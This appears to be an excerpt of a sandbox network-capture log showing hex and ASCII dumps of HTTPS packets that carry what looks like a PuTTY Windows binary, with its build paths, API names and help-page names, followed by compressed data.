                                                                                                                                                  2022-12-04 11:05:57 UTC961INData Raw: 00 73 00 73 00 65 00 73 00 00 00 63 00 6f 00 75 00 6e 00 74 00 32 00 33 00 34 00 28 00 74 00 65 00 72 00 6d 00 2d 00 3e 00 73 00 63 00 72 00 6f 00 6c 00 6c 00 62 00 61 00 63 00 6b 00 29 00 20 00 3c 00 3d 00 20 00 6e 00 65 00 77 00 73 00 61 00 76 00 65 00 6c 00 69 00 6e 00 65 00 73 00 00 00 73 00 62 00 6c 00 65 00 6e 00 20 00 3e 00 3d 00 20 00 74 00 65 00 72 00 6d 00 2d 00 3e 00 74 00 65 00 6d 00 70 00 73 00 62 00 6c 00 69 00 6e 00 65 00 73 00 00 00 63 00 6f 00 75 00 6e 00 74 00 32 00 33 00 34 00 28 00 74 00 65 00 72 00 6d 00 2d 00 3e 00 73 00 63 00 72 00 6f 00 6c 00 6c 00 62 00 61 00 63 00 6b 00 29 00 20 00 3e 00 3d 00 20 00 74 00 65 00 72 00 6d 00 2d 00 3e 00 74 00 65 00 6d 00 70 00 73 00 62 00 6c 00 69 00 6e 00 65 00 73 00 00 00 69 00 6e 00 64 00 65 00
                                                                                                                                                  Data Ascii: ssescount234(term->scrollback) <= newsavelinessblen >= term->tempsblinescount234(term->scrollback) >= term->tempsblinesinde
                                                                                                                                                  2022-12-04 11:05:57 UTC969INData Raw: 00 73 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 2e 00 63 00 00 00 2f 00 68 00 6f 00 6d 00 65 00 2f 00 73 00 69 00 6d 00 6f 00 6e 00 2f 00 6d 00 65 00 6d 00 2f 00 2e 00 62 00 75 00 69 00 6c 00 64 00 2f 00 77 00 6f 00 72 00 6b 00 64 00 69 00 72 00 73 00 2f 00 62 00 6f 00 62 00 2d 00 6a 00 6d 00 63 00 35 00 6f 00 77 00 78 00 61 00 2f 00 70 00 75 00 74 00 74 00 79 00 2f 00 63 00 72 00 79 00 70 00 74 00 6f 00 2f 00 61 00 72 00 63 00 66 00 6f 00 75 00 72 00 2e 00 63 00 00 00 2f 00 68 00 6f 00 6d 00 65 00 2f 00 73 00 69 00 6d 00 6f 00 6e 00 2f 00 6d 00 65 00 6d 00 2f 00 2e 00 62 00 75 00 69 00 6c 00 64 00 2f 00 77 00 6f 00 72 00 6b 00 64 00 69 00 72 00 73 00 2f 00 62 00 6f 00 62 00 2d 00 6a 00 6d 00 63 00 35 00 6f 00 77 00 78 00 61 00 2f 00 70 00 75 00 74 00
                                                                                                                                                  Data Ascii: settings.c/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/arcfour.c/home/simon/mem/.build/workdirs/bob-jmc5owxa/put
                                                                                                                                                  2022-12-04 11:05:57 UTC977INData Raw: 00 72 00 73 00 2f 00 62 00 6f 00 62 00 2d 00 6a 00 6d 00 63 00 35 00 6f 00 77 00 78 00 61 00 2f 00 70 00 75 00 74 00 74 00 79 00 2f 00 73 00 73 00 68 00 2f 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6f 00 6e 00 31 00 2e 00 63 00 00 00 2f 00 68 00 6f 00 6d 00 65 00 2f 00 73 00 69 00 6d 00 6f 00 6e 00 2f 00 6d 00 65 00 6d 00 2f 00 2e 00 62 00 75 00 69 00 6c 00 64 00 2f 00 77 00 6f 00 72 00 6b 00 64 00 69 00 72 00 73 00 2f 00 62 00 6f 00 62 00 2d 00 6a 00 6d 00 63 00 35 00 6f 00 77 00 78 00 61 00 2f 00 70 00 75 00 74 00 74 00 79 00 2f 00 73 00 73 00 68 00 2f 00 6c 00 6f 00 67 00 69 00 6e 00 31 00 2e 00 63 00 00 00 72 00 65 00 74 00 20 00 3d 00 3d 00 20 00 63 00 00 00 73 00 73 00 68 00 2d 00 3e 00 67 00 73 00 73 00 5f 00 73 00 74 00 61 00 74 00 65 00
                                                                                                                                                  Data Ascii: rs/bob-jmc5owxa/putty/ssh/connection1.c/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/ssh/login1.cret == cssh->gss_state
                                                                                                                                                  2022-12-04 11:05:57 UTC985INData Raw: 00 74 00 5f 00 65 00 72 00 72 00 28 00 73 00 72 00 63 00 29 00 00 00 6c 00 65 00 6e 00 20 00 3c 00 3d 00 20 00 73 00 69 00 7a 00 65 00 6f 00 66 00 28 00 73 00 2d 00 3e 00 6f 00 6f 00 62 00 64 00 61 00 74 00 61 00 29 00 00 00 78 00 2d 00 3e 00 6e 00 77 00 20 00 3c 00 20 00 28 00 7e 00 28 00 73 00 69 00 7a 00 65 00 5f 00 74 00 29 00 31 00 29 00 20 00 2f 00 20 00 28 00 31 00 34 00 36 00 20 00 2a 00 20 00 42 00 49 00 47 00 4e 00 55 00 4d 00 5f 00 49 00 4e 00 54 00 5f 00 42 00 49 00 54 00 53 00 29 00 00 00 4e 00 55 00 4c 00 4c 00 20 00 3d 00 3d 00 20 00 66 00 69 00 6e 00 64 00 32 00 33 00 34 00 28 00 73 00 68 00 61 00 72 00 65 00 73 00 74 00 61 00 74 00 65 00 2d 00 3e 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6f 00 6e 00 73 00 2c 00 20 00 26 00 64 00
                                                                                                                                                  Data Ascii: t_err(src)len <= sizeof(s->oobdata)x->nw < (~(size_t)1) / (146 * BIGNUM_INT_BITS)NULL == find234(sharestate->connections, &d
                                                                                                                                                  2022-12-04 11:05:57 UTC993INData Raw: 63 79 47 65 74 57 69 6e 64 6f 77 69 6e 67 4d 6f 64 65 6c 00 00 5f 5f 63 64 65 63 6c 00 5f 5f 70 61 73 63 61 6c 00 00 00 00 49 6d 70 72 6f 70 65 72 20 6c 69 6e 6b 00 00 00 6e 6f 20 6c 69 6e 6b 00 49 6e 76 61 6c 69 64 20 73 65 65 6b 00 00 00 00 6f 70 65 72 61 74 69 6f 6e 20 77 6f 75 6c 64 20 62 6c 6f 63 6b 00 00 00 46 72 69 00 5f 5f 65 61 62 69 00 00 63 6f 73 68 00 00 00 00 73 69 6e 68 00 00 00 00 74 61 6e 68 00 00 00 00 4d 61 72 63 68 00 00 00 41 75 67 00 6c 6f 67 00 41 72 67 20 6c 69 73 74 20 74 6f 6f 20 6c 6f 6e 67 00 00 00 46 69 6c 65 6e 61 6d 65 20 74 6f 6f 20 6c 6f 6e 67 00 00 00 69 6e 66 00 6d 6f 64 66 00 00 00 00 6d 65 73 73 61 67 65 20 73 69 7a 65 00 00 00 00 46 6c 73 53 65 74 56 61 6c 75 65 00 46 6c 73 47 65 74 56 61 6c 75 65 00 54 75 65 00 20 64
                                                                                                                                                  Data Ascii: cyGetWindowingModel__cdecl__pascalImproper linkno linkInvalid seekoperation would blockFri__eabicoshsinhtanhMarchAuglogArg list too longFilename too longinfmodfmessage sizeFlsSetValueFlsGetValueTue d
                                                                                                                                                  2022-12-04 11:05:58 UTC1001INData Raw: 00 74 00 61 00 00 00 00 00 65 00 6e 00 67 00 6c 00 69 00 73 00 68 00 2d 00 75 00 73 00 61 00 00 00 61 00 72 00 2d 00 73 00 61 00 00 00 73 00 61 00 00 00 00 00 61 00 72 00 2d 00 71 00 61 00 00 00 65 00 73 00 2d 00 70 00 61 00 00 00 70 00 61 00 00 00 00 00 73 00 70 00 61 00 6e 00 69 00 73 00 68 00 2d 00 61 00 72 00 67 00 65 00 6e 00 74 00 69 00 6e 00 61 00 00 00 70 00 72 00 2d 00 63 00 68 00 69 00 6e 00 61 00 00 00 00 00 70 00 72 00 20 00 63 00 68 00 69 00 6e 00 61 00 00 00 00 00 63 00 68 00 69 00 6e 00 61 00 00 00 73 00 70 00 61 00 6e 00 69 00 73 00 68 00 2d 00 70 00 61 00 6e 00 61 00 6d 00 61 00 00 00 00 00 61 00 72 00 2d 00 6d 00 61 00 00 00 73 00 70 00 61 00 6e 00 69 00 73 00 68 00 2d 00 76 00 65 00 6e 00 65 00 7a 00 75 00 65 00 6c 00 61 00 00 00 73 00
                                                                                                                                                  Data Ascii: taenglish-usaar-sasaar-qaes-papaspanish-argentinapr-chinapr chinachinaspanish-panamaar-maspanish-venezuelas
                                                                                                                                                  2022-12-04 11:05:58 UTC1008INData Raw: 00 b0 ed 0f 00 c4 ed 0f 00 dc ed 0f 00 ec ed 0f 00 fc ed 0f 00 1a ee 0f 00 2c ee 0f 00 40 ee 0f 00 4c ee 0f 00 56 ee 0f 00 64 ee 0f 00 72 ee 0f 00 8e ee 0f 00 a0 ee 0f 00 b6 ee 0f 00 c8 ee 0f 00 de ee 0f 00 ee ee 0f 00 00 00 00 00 fa ee 0f 00 00 00 00 00 0a ef 0f 00 1a ef 0f 00 28 ef 0f 00 3c ef 0f 00 00 00 00 00 50 ef 0f 00 6c ef 0f 00 76 ef 0f 00 82 ef 0f 00 92 ef 0f 00 a2 ef 0f 00 c2 ef 0f 00 d0 ef 0f 00 e2 ef 0f 00 f2 ef 0f 00 00 f0 0f 00 0e f0 0f 00 1e f0 0f 00 32 f0 0f 00 44 f0 0f 00 60 f0 0f 00 00 00 00 00 13 00 42 69 74 42 6c 74 00 00 29 00 43 72 65 61 74 65 42 69 74 6d 61 70 00 00 30 00 43 72 65 61 74 65 43 6f 6d 70 61 74 69 62 6c 65 42 69 74 6d 61 70 00 00 31 00 43 72 65 61 74 65 43 6f 6d 70 61 74 69 62 6c 65 44 43 00 00 3f 00 43 72 65 61 74 65
                                                                                                                                                  Data Ascii: ,@LVdr(<Plv2D`BitBlt)CreateBitmap0CreateCompatibleBitmap1CreateCompatibleDC?Create
                                                                                                                                                  2022-12-04 11:05:58 UTC1016INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 fe ff ff ff 00 00 00 00 d0 ff ff ff 00 00 00 00 fe ff ff ff df 19 4c 00 e3 19 4c 00 00 00 00 00 fe ff ff ff 00 00 00 00 d8 ff ff ff 00 00 00 00 fe ff ff ff 8c 1a 4c 00 90 1a 4c 00 00 00 00 00 fe ff ff ff 00 00 00 00 d8 ff ff ff 00 00 00 00 fe ff ff ff 7e 28 4c 00 9a 28 4c 00 00 00 00 00 fe ff ff ff 00 00 00 00 c8 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 07 2b 4c 00 00 00 00 00 fe ff ff ff 00 00 00 00 d0 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 50 30 4c 00 00 00 00 00 fe ff ff ff 00 00 00 00 d8 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 34 3a 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                  Data Ascii: LLLL~(L(L+LP0L4:L
                                                                                                                                                  2022-12-04 11:05:58 UTC1024INData Raw: ff f0 bb 00 88 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 77 77 77 77 77 77 0b bb 08 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 77 77 77 77 77 70 0b b0 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b bb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bb bb bb bb bb b0 88 88 88 88 88 88 88 88 00 00 00 00 00 00 00 00 00 00 00 bb bb bb bb bb 08 88 88 88 88 88 88 88 80 00 00 00 00 00 00 00 00 00 00 0b bb bb bb bb b0 07 78 00 00 00 07 88 88 00 00 00 00 00 00 00 00 00 00 00 bb bb bb bb bb b0 ff ff ff ff ff 78 88 80 00 00 00 00 00 00 00 00 00 0f 0b bb 00 00 00 0f ff ff ff ff ff f7 88 80 00 00 00 00 00 00 00 00 00 00 70 0b b0 00 00 00 00 00 00 00 07 ff
                                                                                                                                                  Data Ascii: wwwwwwwwwwwpxxp
                                                                                                                                                  2022-12-04 11:05:58 UTC1032INData Raw: 67 2d 63 74 72 6c 61 6c 74 2e 68 74 6d 6c 01 8c c1 35 8c 2b 13 2f 63 6f 6e 66 69 67 2d 63 75 72 73 6f 72 2e 68 74 6d 6c 01 8e b6 12 87 45 10 2f 63 6f 6e 66 69 67 2d 63 79 72 2e 68 74 6d 6c 01 8f c8 52 87 50 11 2f 63 6f 6e 66 69 67 2d 64 61 74 61 2e 68 74 6d 6c 01 92 be 3e 8a 12 12 2f 63 6f 6e 66 69 67 2d 64 65 63 6f 6d 2e 68 74 6d 6c 01 8a dd 5b 8f 19 14 2f 63 6f 6e 66 69 67 2d 65 6e 76 69 72 6f 6e 2e 68 74 6d 6c 01 92 f5 21 8c 0f 12 2f 63 6f 6e 66 69 67 2d 65 72 61 73 65 2e 68 74 6d 6c 01 8b 80 03 8d 03 1e 2f 63 6f 6e 66 69 67 2d 65 72 61 73 65 74 6f 73 63 72 6f 6c 6c 62 61 63 6b 2e 68 74 6d 6c 01 8e a4 57 89 0f 1f 2f 63 6f 6e 66 69 67 2d 66 65 61 74 75 72 65 73 2d 61 6c 74 73 63 72 65 65 6e 2e 68 74 6d 6c 01 8d af 07 89 48 21 2f 63 6f 6e 66 69 67 2d 66
                                                                                                                                                  Data Ascii: g-ctrlalt.html5+/config-cursor.htmlE/config-cyr.htmlRP/config-data.html>/config-decom.html[/config-environ.html!/config-erase.html/config-erasetoscrollback.htmlW/config-features-altscreen.htmlH!/config-f
                                                                                                                                                  2022-12-04 11:05:58 UTC1040INData Raw: 66 61 71 2d 76 62 2e 68 74 6d 6c 01 ad 95 6a 88 52 10 2f 66 61 71 2d 76 65 6e 64 6f 72 2e 68 74 6d 6c 01 b3 91 5a 9b 00 15 2f 66 61 71 2d 76 69 72 74 75 61 6c 6c 6f 63 6b 2e 68 74 6d 6c 01 b1 aa 2d 88 16 14 2f 66 61 71 2d 77 65 62 68 6f 73 74 69 6e 67 2e 68 74 6d 6c 01 b1 e4 03 84 70 0e 2f 66 61 71 2d 77 68 61 74 2e 68 74 6d 6c 01 ab a3 13 89 51 0f 2f 66 61 71 2d 77 69 6e 33 31 2e 68 74 6d 6c 01 ac e2 26 89 35 0f 2f 66 61 71 2d 77 69 6e 63 65 2e 68 74 6d 6c 01 ac dc 4e 85 58 16 2f 66 61 71 2d 77 69 6e 64 6f 77 73 73 74 6f 72 65 2e 68 74 6d 6c 01 b1 b2 43 89 44 12 2f 66 61 71 2d 77 69 6e 74 69 74 6c 65 2e 68 74 6d 6c 01 af ea 14 89 0c 13 2f 66 61 71 2d 78 70 77 6f 6e 74 72 75 6e 2e 68 74 6d 6c 01 b0 dd 36 87 5a 09 2f 66 61 71 2e 68 74 6d 6c 01 aa c1 68 dc
                                                                                                                                                  Data Ascii: faq-vb.htmljR/faq-vendor.htmlZ/faq-virtuallock.html-/faq-webhosting.htmlp/faq-what.htmlQ/faq-win31.html&5/faq-wince.htmlNX/faq-windowsstore.htmlCD/faq-wintitle.html/faq-xpwontrun.html6Z/faq.htmlh
                                                                                                                                                  2022-12-04 11:05:58 UTC1047INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                  Data Ascii:
                                                                                                                                                  2022-12-04 11:05:58 UTC1055INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                  Data Ascii:
                                                                                                                                                  2022-12-04 11:05:58 UTC1063INData Raw: e4 de 7c 03 f6 33 92 11 32 38 16 67 10 14 45 68 de db e3 7e 0c 62 4f 68 aa 59 d6 97 ef 82 be d1 07 c0 4c 1c 57 e9 35 eb aa 4d 7b 9a 01 df 5e 54 90 f4 a2 38 c3 de a1 77 c5 63 e2 5b ef 7f 78 cb 5e ad a0 79 7d 50 de 25 22 bd e6 f5 f0 1f 4d 89 a4 12 b7 27 96 d1 62 3d af ee 45 de c2 8f 78 e2 9b 67 93 cd b2 d7 ab 5a dd 15 88 21 f9 8d 05 37 e5 e0 6e 59 2b 01 a2 00 99 96 ec f5 aa a3 00 f4 bb 07 83 a8 67 dd d5 8a ea 0b d6 ec 2c 53 65 49 50 05 c5 4e d4 0c d0 e2 e7 48 4a 06 be 98 c9 b3 65 72 b4 88 2a e6 6b 82 d4 25 e1 38 d9 b3 14 8b 58 90 c5 eb 0c 76 43 1f e2 44 8a a8 92 0e 66 6b 32 b9 f5 d9 8e f7 5a a4 ce f9 a4 2b eb 72 2c 37 ed f5 c6 ee b3 12 3b fb aa 56 be ae 05 a8 dd 60 71 d1 71 68 7c 09 e3 d5 ed 6c 2a 50 53 e6 af 8b fe 22 31 82 cb 39 8b e3 4a f3 25 f1 b5 b3 ab
                                                                                                                                                  Data Ascii: |328gEh~bOhYLW5M{^T8wc[x^y}P%"M'b=ExgZ!7nY+g,SeIPNHJer*k%8XvCDfk2Z+r,7;V`qqh|l*PS"19J%
                                                                                                                                                  2022-12-04 11:05:58 UTC1071INData Raw: b9 ae 9a 1e 23 4e 00 c3 a5 7b 98 9d 2c 03 36 3d 99 42 ee 4e dd a4 f1 42 c4 4d d2 be c2 17 28 c4 8c d8 3b e5 0e ba 8d d5 d7 e8 27 76 aa 70 df ac 52 80 d6 7e 5d b0 bb 93 c1 a7 de 22 ee da 16 38 6b 41 56 a9 31 d4 a8 05 c4 8d 75 ff b5 19 f3 ca 34 6c 74 a7 17 cf 96 37 eb 17 a7 41 d2 c3 59 ee b8 f2 6d f7 37 2c f4 44 eb 16 4f a0 db c1 9d d3 5b b3 ca d1 7d 1d a2 9d a8 bb e0 2a f2 62 66 03 c2 a6 f8 ab 31 c8 0d 49 d8 9d a1 2f 0a 51 19 06 01 b9 88 66 80 df 06 30 ce a9 d0 39 7f b7 f1 0d 96 b3 32 70 0f 91 b3 0a d6 46 a3 fa 43 80 db 6a 0d 7b f3 02 65 c3 d5 e5 f4 bb 7e 78 57 9d 5d b3 91 ec 06 23 ca 1d 2e 43 4e 4d 54 fd e5 dd 2e fd ee 5c a4 af ef 56 be ee 58 2e e2 3c 56 bb 18 cf 47 e3 7f e0 8b 4d 61 ef 25 58 59 10 a5 d8 53 a9 fa 5f 8f a8 7f eb 8b 45 64 93 fd 86 c1 33 33
                                                                                                                                                  Data Ascii: #N{,6=BNBM(;'vpR~]"8kAV1u4lt7AYm7,DO[}*bf1I/Qf092pFCj{e~xW]#.CNMT.\VX.<VGMa%XYS_Ed33
                                                                                                                                                  2022-12-04 11:05:58 UTC1079INData Raw: 9f d1 1b 4d 8c 10 c4 86 47 0a 3b fa 05 6a fa 7a ed 09 c7 8e 73 7f 3c c9 eb a0 84 a7 91 ec 9d ba dd a7 fb 04 50 49 f3 31 3f b3 ef b2 52 49 f5 f6 bd e2 6c 19 fb 43 4e 44 82 23 8e 96 4a eb e9 ca d2 5b cd ed 2d 13 7a be 32 a1 e1 7b 87 57 a3 c1 ba a4 53 97 3c bd d1 64 5e 9b 54 82 e3 97 6e 8f 4e 50 10 64 12 ef ef b7 51 9b 72 ce 1d 1b 35 93 d9 9e 44 84 3f e5 db f9 5b b2 86 ae b8 0c f3 8d a1 b1 58 7b e3 11 bc 27 57 fb c0 ce 92 a6 7b 42 e3 24 28 ab 5f df f7 7a 5a 1c ec ca db c6 60 f0 71 34 1f 34 f8 98 cb b4 62 ab da e3 52 44 fd e9 fd 2c 3a bd 6f 28 bd 8e de 9c 8d 23 58 6b 0d 64 6b df c6 0b 4d a9 42 6a 67 85 b9 e2 a4 d5 84 5e 0c 64 72 f1 40 b0 b8 d4 50 44 41 90 41 df 7c 60 88 a0 b4 9d 66 28 64 f5 a8 39 01 cb 88 eb 62 09 1a ce 31 94 54 bc a2 dc d4 2d 37 1f 1f f7 14
                                                                                                                                                  Data Ascii: MG;jzs<PI1?RIlCND#J[-z2{WS<d^TnNPdQr5D?[X{'W{B$(_zZ`q44bRD,:o(#XkdkMBjg^dr@PDAA|`f(d9b1T-7
                                                                                                                                                  2022-12-04 11:05:58 UTC1086INData Raw: 9e 00 e4 e3 be 8b 6c db 2c 9e 27 bf e7 51 96 2f 64 65 f8 e3 c0 ce e6 56 b0 53 4e 81 88 28 0e f7 dc be 0d ca 0b c0 0b dd 83 ea 9e 61 3a ad 9f b5 6c d8 88 fa 55 0f 08 f9 10 b8 9b c8 9d 7c 9f fb 43 55 51 44 ad cc b7 b6 8a c1 3a 3b 9e 7d f5 a4 d0 15 06 ef 48 f8 be 23 1d 27 4f 24 fa 01 d1 e6 16 f4 7d 3e 57 20 d7 04 f9 86 ba 9f 43 67 06 3e f3 ab 18 c2 1c 4e 5d b1 e5 7e b0 bf cb 0a 6e cc c7 78 63 d5 da cb 4b 91 00 f0 96 5d 0d 66 bc f5 41 bc e5 ed 98 9c ba 1b 3e 34 6e 84 bd 68 25 a9 ae 1e 2c a4 be d6 55 60 15 8a e6 f9 4f 0d d8 5a a7 b4 d6 b4 5e 02 2b 81 3e 81 dd f9 52 b3 46 20 49 a5 ed 60 d0 4f e5 ae ed 5a bb 03 be cd 77 df 12 ba 40 be ac df 05 98 cd 07 49 12 a5 85 fc ea 00 dc 67 66 f8 7c be 2c e5 39 e3 d9 39 e8 da 44 ff 6d 03 13 0f 67 31 df ec 95 97 3e 78 f9 b1
                                                                                                                                                  Data Ascii: l,'Q/deVSN(a:lU|CUQD:;}H#'O$}>W Cg>N]~nxcK]fA>4nh%,U`OZ^+>RF I`OZw@Igf|,99Dmg1>x
                                                                                                                                                  2022-12-04 11:05:58 UTC1094INData Raw: bc ec b5 ac ba b3 b6 4e 99 38 72 38 be 46 37 01 cd 09 6b 0c 53 4b 6a ed cf 56 34 c9 3c c9 f8 51 81 3c 37 03 bd da a9 3a 05 e7 b7 35 f6 aa 48 b5 a4 c1 6e df d7 5a bb 61 5e 51 10 71 fa 6d 39 0e c6 d7 ac 79 5f 8d ab b5 2e 5b ef 8c df 4c 6e 0a ef 6e 16 0a 3d f8 9e 39 8f 24 d6 79 ed 20 42 f1 40 dc ad 22 7d 84 8e 99 bc 0c ed f7 4c 5c 0d a3 c7 6d 15 be cd b0 c7 9e ff 58 85 38 a1 66 dc 0b 33 50 e3 e4 2b 6c 82 f2 32 13 5e e6 0e cc 3c 7b 9c 7f 73 47 8f 50 9c 49 b8 69 d3 49 3f 34 a5 32 b6 e4 88 9c aa 69 3a 54 56 b7 ad d1 3f 9b d4 6c 9b 24 f2 8d 2b c0 cd 64 72 e2 d2 16 2b 83 23 25 65 8b ef ee 3c 28 18 21 f2 9a 34 47 16 68 f2 03 4b cb 6e 49 59 25 6e 71 47 b9 0d 28 04 07 18 cc 31 83 36 f8 3d 3e 39 6d 11 69 2a a0 71 09 1e 0b 39 95 0e e0 c1 34 a1 4e 51 44 8f ee b3 c1 f7
                                                                                                                                                  Data Ascii: N8r8F7kSKjV4<Q<7:5HnZa^Qqm9y_.[Lnn=9$y B@"}L\mX8f3P+l2^<{sGPIiI?42i:TV?l$+dr+#%e<(!4GhKnIY%nqG(16=>9mi*q94NQD
                                                                                                                                                  2022-12-04 11:05:58 UTC1102INData Raw: 1c 70 5b fa fc 92 dc 2c ab 30 27 f0 8c 05 ec 2a 7a 70 e7 cc e2 74 ec 4d f2 7c 1f e6 2f 7b 09 91 8f e4 ce 11 84 00 87 f2 98 26 ee e4 85 96 8c 86 db 43 47 78 15 4e 1b 58 36 f7 46 21 81 23 9b 76 4e ce a2 17 e7 2f 09 06 90 48 19 32 3b a1 e5 21 52 0e 14 35 94 4b 77 18 96 80 68 4a 19 74 bc 18 32 d4 f4 57 f5 d9 42 b0 db 98 58 de e8 5e 92 f8 70 0f 78 5f 31 5c 74 7e cd 9a 67 23 18 b2 cc a2 fa 78 90 96 f1 2f b3 a4 aa 53 a8 8e 7f 63 7f 60 6f 8a 2b d5 ac e4 1b d8 0a 2c c4 79 08 ab 99 20 bb 7f db c6 fc a7 a3 51 16 c1 a5 01 67 fd 06 8b 42 3b d5 61 44 b8 d9 89 32 c5 58 48 c5 50 d4 d4 31 a4 5d d8 06 c3 86 99 4e 72 84 f1 2e 47 9d ab e6 c1 1c 53 d8 ee 4f 34 3b 05 12 be 97 20 79 64 9d fb 85 ef 39 bf cd 3d 91 9f 4f 78 1f 0f b2 7b 95 8d af 9e ae 29 aa d8 ff 27 bb ee 62 9d 5f
                                                                                                                                                  Data Ascii: p[,0'*zptM|/{&CGxNX6F!#vN/H2;!R5KwhJt2WBX^px_1\t~g#x/Sc`o+,y QgB;aD2XHP1]Nr.GSO4; yd9=Ox{)'b_
                                                                                                                                                  2022-12-04 11:05:58 UTC1110INData Raw: 61 7a be 37 06 2c 8a fb 66 24 4b 72 24 92 f5 f6 96 0b 10 2f f3 3d 72 15 c4 84 ce 4b 75 3f 7b 70 5d c3 b0 db ff 46 6a 39 59 fd 48 14 6d b1 5a 4d d8 d5 fb bd 35 9f 2b 3b f3 8a 8c 7c 8c 27 b5 26 8c 9d 48 7d a3 ed 4f 4c d0 6b 88 b1 db ba 85 db 38 59 a7 f3 17 04 dd 86 9b dc a1 03 b0 ca b9 fb 71 43 4d e5 81 c4 36 56 11 f8 19 1a 54 58 17 a9 93 71 92 4c 21 f1 40 9a 78 76 ba d5 c5 6d 1a 13 d1 61 14 c5 0f 17 45 76 b8 00 c6 c8 4d 32 ae 13 bc b2 d5 b4 bd 5f 51 71 c9 87 3b 6d ca bd 2e 83 c5 dd 2b 8f bf 7c c8 4a 00 45 6b e8 a8 c7 33 58 66 08 dc 14 b5 8a ab 47 1f 61 85 b6 ad 18 4b 50 26 e0 0c 52 41 3f ea f6 c5 21 bc c5 7c b7 e3 a6 6b ca 25 79 80 2f 3a 33 c7 ce af bf 25 b7 99 3b d1 de 6c ae 27 89 c2 a7 6e cb 6a 3e af 72 f7 67 99 f5 f3 f3 2a 08 0d 54 a2 c2 4f 5f 2a 31 c0
                                                                                                                                                  Data Ascii: az7,f$Kr$/=rKu?{p]Fj9YHmZM5+;|'&H}OLk8YqCM6VTXqL!@xvmaEvM2_Qq;m.+|JEk3XfGaKP&RA?!|k%y/:3%;l'nj>rg*TO_*1
                                                                                                                                                  2022-12-04 11:05:58 UTC1118INData Raw: 4d d9 b1 c1 55 24 e4 68 c4 db 76 80 9d 68 93 fa f0 d1 30 a3 32 3a 7c 2b 77 1e f6 79 f0 4a 12 d5 c3 5f 59 14 f7 76 1f 68 2f fc dc cd 03 88 48 99 d0 ee 4a 2f 67 bd 9f b1 2a d9 6a d4 da 34 a9 9a e8 05 0f ae e6 03 4c 1c 5b b0 53 77 6a c5 3e e9 31 a6 41 99 97 83 b0 18 78 48 e0 fb 5d 7c 8a 16 18 24 e0 c6 42 1e 59 b1 d6 0a 6e 89 a8 6b c5 55 49 d6 98 42 0f 1d 1f 85 56 fb d2 56 0b a3 46 63 d3 e7 3d 9a d5 36 4f b3 02 5e f9 e2 17 d3 0b ec 20 e4 44 29 2f 2e e6 21 b5 8a e1 21 e2 f8 e2 58 d8 35 1a ce 07 0d c3 97 7c 86 84 8b 1e fd 1b 03 f3 d4 c3 72 60 0c 71 63 91 0e 53 55 52 93 19 94 67 6a d6 fe 3b f9 48 aa da 6d 95 cc 79 5e 25 e3 84 13 e6 c3 1f cf 3c ca 35 0a 12 e6 59 71 05 9b 0c 84 eb dd fc 4d ea 36 91 bc 0b 69 ea 63 01 7b e7 6c c8 9d 10 36 e1 53 dc f2 a0 30 e2 c5 0b
                                                                                                                                                  Data Ascii: MU$hvh02:|+wyJ_Yvh/HJ/g*j4L[Swj>1AxH]|$BYnkUIBVVFc=6O^ D)/.!!X5|r`qcSURgj;Hmy^%<5YqM6ic{l6S0
